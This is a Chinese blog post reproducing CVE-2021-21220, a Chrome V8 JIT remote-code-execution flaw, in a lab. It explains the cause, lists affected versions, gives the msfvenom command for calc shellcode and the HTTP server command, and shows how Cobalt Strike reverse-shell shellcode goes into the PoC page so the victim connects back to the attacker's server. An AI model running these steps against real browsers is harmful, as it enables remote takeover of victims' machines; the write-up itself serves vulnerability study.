CVE-2021-21220 Chrome远程代码执行漏洞复现

0x00 漏洞简介

Google Chrome浏览器是一款由Google公司开发的网页浏览器,该浏览器基于其他开源软件撰写,包括WebKit,目标是提升稳定性、速度和安全性,并创造出简单且有效率的使用者界面。

通过CVE-2021-21220漏洞,受害者通过未开沙箱机制的Chrome浏览器打开攻击者置入恶意代码的网页后就会执行攻击者想要执行的任意代码。

该漏洞产生的原因是Chrome的V8引擎JIT模块在 ChangeInt32ToInt64 函数的输入值一定会被看作一个 int32 的值来处理,就会进行有符号扩展,进而发生下溢,以此可以利用来修改一些东西,比如分配的数组的长度,这样就可以越界访问其他内存的数据,进而达到任意地址写的目的,攻击者还结合了一些其他手段来绕过Chrome内部的缓解措施达到任意目录执行的目的。漏洞的根源是V8 对ChangeInt32ToInt64的假设是该节点的输入必定被解释为一个有符号的Int32的值,所以无论 LoadRepresentation如何,都应该使用X64Movsxlq指令。

0x01 影响版本

  • x64架构 Google Chrome <= 89.0.4389.128
  • 基于Chromium内核的 Microsoft Edge <= 89.0.774.76
  • 其他基于V8引擎的浏览器

0x02 环境搭建

准备一台win7 虚拟机:192.168.87.157,下载安装历史版本的x64的chrome浏览器(下载地址:https://www.chromedownloads.net/chrome64win-stable/1137.html)

并禁用掉chrome自动更新:https://www.cnblogs.com/mq0036/p/13947021.html

一台kali:192.168.87.128

0x03 漏洞复现

(1)准备好chrome浏览器64位,右键属性,复制路径,cmd 切换至该路径,运行无沙箱模式chrome,访问poc页面

image-20211206101936860

chrome.exe --no-sandbox

image-20211206102506977

image-20211206102623222

在kali上生成windows64位的shellcode(弹出计算器),复制替换到对应的poc.html的shellcode中

msfvenom -a x64 -p windows/x64/exec CMD="calc" EXITFUNC=thread -f num

image-20211206104116932

这里是弹出计算器的poc.html展示

poc.html移动到/var/www/html 网页目录下,并使用python开启一个80端口的服务

python3 -m http.server 80

image-20211206112122758

以无沙箱模式访问kali的http服务中构造好的poc页面

192.168.87.128/poc.html

image-20211206142954571

成功弹出计算器

(2)使用CS上线shell

启动服务端程序,服务器ip(kali),密码

image-20211206144020089

启动客户端CS程序(windows客户端),输入刚设置的密码,用户名任意

image-20211206143939736

打开监听器模块,新建一个监听器

image-20211206144627328

image-20211206144710984

继续,使用生成后门功能生成一个反弹shell的payload,保存至桌面

image-20211206145532819

生成的payload.c,将\全部替换成0后,和刚才一样替换到shellcode

image-20211206150219986

\替换成 ,0(注意:是空格,0)

image-20211207113724322

替换pocbs4.html中的shellcode

image-20211207114003006

访问pocbs4.html

image-20211207114136306

可以看到cs中,目标已上线

image-20211207114218835

执行命令,以及后续渗透工作

image-20211207115123435

image-20211207115253564

image-20211207115552389

posted @ 2021-12-08 14:24  7omss  阅读(897)  评论(0编辑  收藏  举报